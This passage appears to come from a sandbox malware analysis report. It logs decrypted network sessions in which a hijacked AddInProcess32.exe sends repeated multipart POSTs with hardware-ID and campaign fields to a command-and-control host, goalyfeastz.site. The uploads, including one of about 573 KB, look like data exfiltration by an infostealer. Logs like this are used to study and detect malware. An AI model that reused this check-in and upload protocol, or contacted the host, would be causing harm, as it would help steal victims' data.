4oLNqv5PZBJhA8ZWwyAfOytrBXMMLAPajYk2OD4yoNDigMGv5QBeX3RC3BbDJlVsYWcNfQknDJnLwiMgbGzt9vWWw635QXYVZQrGX88jEDMlL0Y+DTRDwoPoPCtyYPfzp4+IurNFaF8zTMFXwCsROi9rBHgEIQycyck2KnZi4f7sn8am/kZiE2oJhRiELQ10eS8meQk+Qa/Axz8naCr/vf7Qwa+zGiQRbgPXV9YvGyYtag5zCSIDn8TEPyZ5aej
2024-10-30 21:37:24 UTC	1369	IN	Data Raw: 61 2b 7a 47 69 51 54 59 67 7a 4f 58 4d 41 71 45 6a 6b 6b 62 41 39 39 42 79 73 4a 6c 4d 54 4e 50 53 6c 7a 62 4f 44 30 34 35 58 55 70 76 70 4f 61 46 38 6c 54 4d 4a 4f 68 48 4a 56 47 79 5a 35 43 31 45 4a 50 51 72 61 33 49 63 6f 59 48 6c 6d 6f 4b 75 6e 6c 38 4f 72 2b 45 52 73 48 33 6b 4a 79 31 33 46 49 42 4d 31 4c 47 4d 4f 66 67 73 73 42 5a 62 44 7a 6a 59 79 62 47 2f 6d 34 65 33 51 69 4f 50 30 57 69 52 48 4b 7a 72 56 51 64 55 38 56 77 45 69 59 51 5a 35 48 47 77 63 31 4e 71 4a 4e 69 77 2b 4d 71 44 34 35 35 7a 42 71 2f 56 47 62 42 42 6b 42 64 64 58 79 43 51 48 4d 79 46 6d 42 6e 45 47 4a 51 36 64 7a 73 49 37 4c 58 70 74 34 62 4f 70 30 4d 47 37 73 78 6f 6b 4b 58 73 42 79 58 6a 50 4a 68 78 30 50 69 45 52 50 67 30 67 51 38 4b 44 7a 54 30 6f 64 47 58 70 2b 65 32 66 Data Ascii: a+zGiQTYgzOXMAqEjkkbA99BysJlMTNPSlzbOD045XUpvpOaF8lTMJOhHJVGyZ5C1EJPQra3IcoYHlmoKunl8Or+ERsH3kJy13FIBM1LGMOfgssBZbDzjYybG/m4e3QiOP0WiRHKzrVQdU8VwEiYQZ5HGwc1NqJNiw+MqD455zBq/VGbBBkBddXyCQHMyFmBnEGJQ6dzsI7LXpt4bOp0MG7sxokKXsByXjPJhx0PiERPg0gQ8KDzT0odGXp+e2f
2024-10-30 21:37:24 UTC	1369	IN	Data Raw: 30 6b 55 53 73 4c 33 52 61 63 61 6a 6f 54 46 43 30 70 52 45 6f 7a 54 59 4f 44 7a 6a 31 67 4a 69 72 73 38 4f 75 59 79 61 58 36 54 6d 34 57 59 41 44 4f 55 73 67 6a 45 44 49 67 61 67 31 2f 44 69 41 4a 6e 4d 44 4b 50 69 39 78 59 71 43 39 70 35 66 65 34 36 73 43 51 51 68 67 41 73 4d 57 32 32 51 4d 64 43 5a 6a 53 43 5a 4b 49 41 71 63 78 63 77 39 49 58 68 69 35 66 76 6a 6b 63 43 6c 38 45 31 67 47 6d 6f 44 77 56 72 4b 49 42 51 31 4c 57 51 48 64 51 39 73 54 64 72 45 30 58 46 34 50 6c 76 6a 35 66 43 41 79 75 50 73 44 48 31 66 62 41 43 46 44 6f 51 72 42 7a 34 72 59 51 31 78 44 79 38 4d 6e 63 37 50 50 53 70 33 59 75 62 38 37 6f 4c 46 72 2f 31 46 61 68 4e 6c 41 63 39 56 79 57 70 62 64 43 5a 33 53 43 5a 4b 41 41 53 58 37 63 49 39 4a 7a 35 31 72 75 71 6e 6c 38 72 6a 71 Data Ascii: 0kUSsL3RacajoTFC0pREozTYODzj1gJirs8OuYyaX6Tm4WYADOUsgjEDIgag1/DiAJnMDKPi9xYqC9p5fe46sCQQhgAsMW22QMdCZjSCZKIAqcxcw9IXhi5fvjkcCl8E1gGmoDwVrKIBQ1LWQHdQ9sTdrE0XF4Plvj5fCAyuPsDH1fbACFDoQrBz4rYQ1xDy8Mnc7PPSp3Yub87oLFr/1FahNlAc9VyWpbdCZ3SCZKAASX7cI9Jz51ruqnl8rjq
2024-10-30 21:37:24 UTC	1369	IN	Data Raw: 64 43 39 56 47 78 32 67 6b 49 69 4a 35 41 33 4d 47 62 42 7a 55 32 6f 6b 32 4c 44 34 79 6f 50 58 6f 6d 63 57 73 38 6b 74 6f 45 6d 34 46 77 46 66 43 4c 68 38 2b 49 57 6b 4f 66 77 38 6d 41 4a 76 4a 77 44 59 6f 65 57 6e 79 73 36 6e 51 77 62 75 7a 47 69 51 32 62 42 37 4c 52 6f 51 31 57 79 31 68 61 41 51 2b 55 6d 77 48 6b 4d 7a 4e 4e 69 78 34 62 2b 62 2b 35 70 2f 48 6f 2f 78 47 62 78 5a 74 44 63 68 54 79 53 34 48 50 69 70 67 42 48 63 47 49 55 50 55 67 38 34 70 59 43 59 71 30 66 37 70 6e 73 47 31 73 31 30 71 42 69 73 4c 79 52 61 63 61 68 51 34 4c 6d 77 48 66 51 6b 74 43 59 6a 52 78 54 67 6f 65 32 62 72 2f 65 47 43 77 4b 7a 36 51 57 63 57 62 41 54 4a 58 4d 63 74 56 58 70 68 61 42 41 2b 55 6d 77 67 6a 64 50 45 63 54 38 77 63 36 44 30 36 39 43 65 34 2f 74 50 62 42 Data Ascii: dC9VGx2gkIiJ5A3MGbBzU2ok2LD4yoPXomcWs8ktoEm4FwFfCLh8+IWkOfw8mAJvJwDYoeWnys6nQwbuzGiQ2bB7LRoQ1Wy1haAQ+UmwHkMzNNix4b+b+5p/Ho/xGbxZtDchTyS4HPipgBHcGIUPUg84pYCYq0f7pnsG1s10qBisLyRacahQ4LmwHfQktCYjRxTgoe2br/eGCwKz6QWcWbATJXMctVXphaBA+UmwgjdPEcT8wc6D069Ce4/tPbB
2024-10-30 21:37:24 UTC	1369	IN	Data Raw: 58 38 41 69 46 6a 51 6c 61 77 39 37 43 53 41 49 6e 63 44 47 4e 53 6c 77 59 2b 2b 7a 71 64 44 42 75 37 4d 61 4a 44 35 77 44 38 6c 62 68 44 56 62 4c 57 46 6f 42 44 35 53 62 41 2b 55 78 73 6b 37 4a 6e 70 76 35 76 6e 69 6b 4d 32 67 2f 45 5a 69 47 32 51 4d 7a 6c 2f 46 4c 42 41 2b 4b 6d 6b 46 66 51 77 71 51 39 53 44 7a 69 6c 67 4a 69 72 41 36 4f 71 63 77 65 50 73 44 48 31 66 62 41 43 46 44 6f 51 68 47 54 41 6d 62 77 56 39 41 69 6b 48 6b 4d 62 4a 4f 54 4a 32 61 75 66 68 39 5a 44 50 70 76 39 42 5a 42 74 74 42 63 4e 56 77 47 70 62 64 43 5a 33 53 43 5a 4b 41 51 2b 64 36 73 34 71 59 47 45 6b 2b 62 50 67 6e 49 62 37 73 30 4e 76 46 57 51 42 78 6c 44 48 49 52 41 2b 49 47 67 41 63 78 67 76 44 4a 58 48 79 54 34 6d 65 47 76 76 39 65 43 5a 78 36 76 30 41 69 70 66 62 42 53 Data Ascii: X8AiFjQlaw97CSAIncDGNSlwY++zqdDBu7MaJD5wD8lbhDVbLWFoBD5SbA+Uxsk7Jnpv5vnikM2g/EZiG2QMzl/FLBA+KmkFfQwqQ9SDzilgJirA6OqcwePsDH1fbACFDoQhGTAmbwV9AikHkMbJOTJ2aufh9ZDPpv9BZBttBcNVwGpbdCZ3SCZKAQ+d6s4qYGEk+bPgnIb7s0NvFWQBxlDHIRA+IGgAcxgvDJXHyT4meGvv9eCZx6v0AipfbBS
2024-10-30 21:37:24 UTC	371	IN	Data Raw: 68 49 6a 4c 69 39 47 50 67 56 73 57 36 4f 44 77 44 59 37 62 33 7a 74 34 2b 44 51 2b 65 32 7a 57 69 52 48 4b 7a 6e 47 57 4d 6f 74 41 79 56 73 53 42 35 30 44 54 77 45 6a 63 79 4a 66 32 42 34 4b 72 69 67 71 64 44 43 73 72 4d 61 4e 45 30 77 57 5a 59 42 6c 48 67 4b 65 6a 67 76 48 6a 35 53 66 6b 33 61 30 59 6c 70 59 44 6c 70 38 75 48 68 6b 39 43 67 74 48 78 61 4f 48 45 42 77 30 48 56 46 43 73 7a 4f 32 49 4f 61 52 74 67 46 70 6e 4e 78 7a 59 32 50 69 53 67 2f 4b 66 49 2f 2b 4f 37 41 6c 74 52 4b 78 53 46 44 6f 51 66 46 6a 6f 76 61 42 35 76 52 77 73 5a 6c 38 58 65 49 47 41 77 4b 75 61 7a 76 38 43 49 34 2f 64 54 4a 45 63 37 58 70 34 44 6c 33 31 46 5a 6a 34 68 45 54 34 63 62 46 76 49 6a 59 6b 6a 59 43 59 71 70 2f 44 31 67 73 43 67 35 55 45 6a 49 56 55 69 77 6c 44 42 Data Ascii: hIjLi9GPgVsW6ODwDY7b3zt4+DQ+e2zWiRHKznGWMotAyVsSB50DTwEjcyJf2B4KrigqdDCsrMaNE0wWZYBlHgKejgvHj5Sfk3a0YlpYDlp8uHhk9CgtHxaOHEBw0HVFCszO2IOaRtgFpnNxzY2PiSg/KfI/+O7AltRKxSFDoQfFjovaB5vRwsZl8XeIGAwKuazv8CI4/dTJEc7Xp4Dl31FZj4hET4cbFvIjYkjYCYqp/D1gsCg5UEjIVUiwlDB
2024-10-30 21:37:24 UTC	1369	IN	Data Raw: 32 36 64 61 0d 0a 58 6b 7a 58 78 6e 43 57 59 44 7a 6c 66 36 46 44 73 35 49 47 77 47 50 44 73 36 44 6f 72 41 7a 44 59 65 51 47 54 6e 35 2b 43 65 77 4b 4f 7a 44 43 51 51 4b 31 54 38 46 6f 78 71 4b 6e 70 68 64 30 67 6d 53 68 6b 41 6c 4d 33 4f 4a 7a 45 7a 53 66 62 2b 36 4a 76 48 34 37 30 43 59 6c 38 7a 58 49 73 57 77 44 74 56 62 48 45 39 55 79 74 5a 65 31 50 49 33 49 63 6f 59 47 67 71 75 4b 47 70 30 4e 54 6a 71 77 49 6a 45 57 59 4e 78 6c 6a 48 4f 41 63 79 49 6e 6b 4c 4f 54 51 53 49 70 66 49 78 54 77 76 64 56 54 65 30 75 71 62 79 71 37 38 53 56 6f 68 66 67 2f 4c 57 4d 4d 38 42 48 52 76 4c 77 63 2b 55 68 56 44 30 6f 50 32 66 32 42 6d 4b 72 69 7a 30 70 50 49 72 66 52 55 64 56 4a 4b 41 63 35 61 79 53 55 65 64 47 38 76 44 6a 35 53 66 45 33 61 78 39 68 78 65 43 34 Data Ascii: 26daXkzXxnCWYDzlf6FDs5IGwGPDs6DorAzDYeQGTn5+CewKOzDCQQK1T8FoxqKnphd0gmShkAlM3OJzEzSfb+6JvH470CYl8zXIsWwDtVbHE9UytZe1PI3IcoYGgquKGp0NTjqwIjEWYNxljHOAcyInkLOTQSIpfIxTwvdVTe0uqbyq78SVohfg/LWMM8BHRvLwc+UhVD0oP2f2BmKriz0pPIrfRUdVJKAc5aySUedG8vDj5SfE3ax9hxeC4
2024-10-30 21:37:24 UTC	1369	IN	Data Raw: 61 37 74 72 2f 56 46 66 68 68 74 4b 75 55 57 69 6d 6f 61 64 48 6c 57 53 44 5a 4b 45 30 33 61 32 34 6c 70 59 45 74 70 37 76 33 67 68 74 66 75 31 6c 56 6e 44 32 30 50 68 52 69 45 4c 46 56 73 63 53 46 49 65 68 74 73 57 38 71 52 6b 6d 52 7a 4b 54 71 79 37 4b 6d 4a 68 72 57 7a 47 6a 5a 52 4b 78 36 46 44 6f 52 74 46 69 59 7a 61 51 74 6f 43 57 73 39 70 4f 58 4b 49 43 70 66 5a 2f 44 30 32 61 37 54 6f 50 31 4d 59 77 6c 36 54 49 73 57 79 32 70 4e 44 57 45 6e 52 48 67 4a 4f 6b 4f 6c 6a 59 6b 70 59 43 59 71 31 66 44 70 6e 73 47 31 34 67 39 43 48 48 6f 47 35 46 76 55 4c 56 56 36 59 57 6c 49 4a 6c 6c 69 51 35 37 53 69 57 6c 77 4c 44 47 31 6f 4c 44 41 6c 4c 79 39 57 79 51 4a 4b 31 53 58 47 49 51 34 56 57 78 68 4b 41 74 73 47 43 6f 41 6a 4d 43 4f 44 78 35 4c 61 65 37 39 Data Ascii: a7tr/VFfhhtKuUWimoadHlWSDZKE03a24lpYEtp7v3ghtfu1lVnD20PhRiELFVscSFIehtsW8qRkmRzKTqy7KmJhrWzGjZRKx6FDoRtFiYzaQtoCWs9pOXKICpfZ/D02a7ToP1MYwl6TIsWy2pNDWEnRHgJOkOljYkpYCYq1fDpnsG14g9CHHoG5FvULVV6YWlIJlliQ57SiWlwLDG1oLDAlLy9WyQJK1SXGIQ4VWxhKAtsGCoAjMCODx5Lae79

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	62749	104.21.33.140	443	5668	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 21:37:25 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12831 Host: goalyfeastz.site
2024-10-30 21:37:25 UTC	12831	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 34 42 39 38 36 34 38 45 42 31 43 36 35 35 35 35 37 46 44 31 31 46 43 37 34 44 42 30 32 46 46 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 56 58 47 44 52 2d 2d 47 33 0d 0a 2d 2d Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"74B98648EB1C655557FD11FC74DB02FF--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"VXGDR--G3--
2024-10-30 21:37:25 UTC	1018	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 21:37:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=clu46d2q8siblh172o198mo9re; expires=Sun, 23-Feb-2025 15:24:04 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2HtDRTcJsaI%2BNOO8eLfFyA1W%2FV3KrZXsEw8C20P04ClZ9nUmoGMetmMDuUo8%2FDlno%2Flz%2BHTpxc42isg%2Bug4BqyXxeQcVbJ3LRsjIeknCPgy5Jy%2FXyA25Hbu4iFhV2rc0Hvj5"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dae8be4193a2cb6-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1302&sent=8&recv=17&lost=0&retrans=0&sent_bytes=2840&recv_bytes=13771&delivery_rate=2210687&cwnd=251&unsent_bytes=0&cid=daefae2bb6fdaa72&ts=489&x=0"
2024-10-30 21:37:25 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-30 21:37:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	62750	104.21.33.140	443	5668	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 21:37:26 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15073 Host: goalyfeastz.site
2024-10-30 21:37:26 UTC	15073	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 34 42 39 38 36 34 38 45 42 31 43 36 35 35 35 35 37 46 44 31 31 46 43 37 34 44 42 30 32 46 46 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 56 58 47 44 52 2d 2d 47 33 0d 0a 2d 2d Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"74B98648EB1C655557FD11FC74DB02FF--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"VXGDR--G3--
2024-10-30 21:37:26 UTC	1010	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 21:37:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=kpn4s2dngvnut79vg75vfpv6uu; expires=Sun, 23-Feb-2025 15:24:05 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FLPFZ8bKoyS7XDJ9qcra0USp7JzvMLLIBfJEQu1a1PhjV8x1GSH3CRbjbuOauisH89rEOAUW%2ForLIQ9Uw8%2B%2B1fLIQoqLzizAUe0rCk8AkbBSoYF89XZlzVUNCLWL94SFG1Ma"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dae8beb39580b76-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1307&sent=9&recv=19&lost=0&retrans=0&sent_bytes=2839&recv_bytes=16013&delivery_rate=2062678&cwnd=251&unsent_bytes=0&cid=8e87950abd275876&ts=559&x=0"
2024-10-30 21:37:26 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-30 21:37:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	62751	104.21.33.140	443	5668	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 21:37:27 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20563 Host: goalyfeastz.site
2024-10-30 21:37:27 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 34 42 39 38 36 34 38 45 42 31 43 36 35 35 35 35 37 46 44 31 31 46 43 37 34 44 42 30 32 46 46 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 56 58 47 44 52 2d 2d 47 33 0d 0a 2d 2d Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"74B98648EB1C655557FD11FC74DB02FF--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"VXGDR--G3--
2024-10-30 21:37:27 UTC	5232	OUT	Data Raw: 8a 95 d9 76 89 c4 4d c9 4d d9 5a b5 da 68 27 0c 46 c7 33 b7 ee 57 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 eb dc 60 Data Ascii: vMMZh'F3Wun 4F([:7s~X`nO`
2024-10-30 21:37:28 UTC	1013	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 21:37:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=sqrff26d7s5pcfo4anfjdii18a; expires=Sun, 23-Feb-2025 15:24:06 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ux%2BnIvoE6JU2a4X%2B4A7t0OCfKC8NDE87xVuFnl5dOnTZxkmb4yDuFHXzh%2FgSRyxULnJGwhA5xjI1ECm6p5wPp4vY7tNnKGqLgjHDAv8jC8uf1ZjVTQx%2Bvz1NqRecbuFcSlS7"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dae8bf2d96f6b27-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1340&sent=12&recv=26&lost=0&retrans=0&sent_bytes=2841&recv_bytes=21525&delivery_rate=2219157&cwnd=249&unsent_bytes=0&cid=b65ff61b4619ae4a&ts=734&x=0"
2024-10-30 21:37:28 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-30 21:37:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	62752	104.21.33.140	443	5668	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 21:37:28 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1257 Host: goalyfeastz.site
2024-10-30 21:37:28 UTC	1257	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 34 42 39 38 36 34 38 45 42 31 43 36 35 35 35 35 37 46 44 31 31 46 43 37 34 44 42 30 32 46 46 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 56 58 47 44 52 2d 2d 47 33 0d 0a 2d 2d Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"74B98648EB1C655557FD11FC74DB02FF--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"VXGDR--G3--
2024-10-30 21:37:29 UTC	1010	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 21:37:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=hak99a4ktq0mjrga0cbls51kr0; expires=Sun, 23-Feb-2025 15:24:08 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=K%2B9K%2B1HmrLkrIW4YsjijAWDzWLXQmTIS8G5UHqMf%2FbRi40PVE3Ay8wTgxkVrdCkcKo7Gq6yy49GVziecon%2Btics1ykF6XOwnMBbNwVmojSrnImU8vUgsavLdMrTryDWoFmjN"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dae8bfc0cb20bac-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1385&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2840&recv_bytes=2174&delivery_rate=2049539&cwnd=251&unsent_bytes=0&cid=9a715399566e8cdc&ts=490&x=0"
2024-10-30 21:37:29 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-30 21:37:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	62753	104.21.33.140	443	5668	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 21:37:30 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 573511 Host: goalyfeastz.site
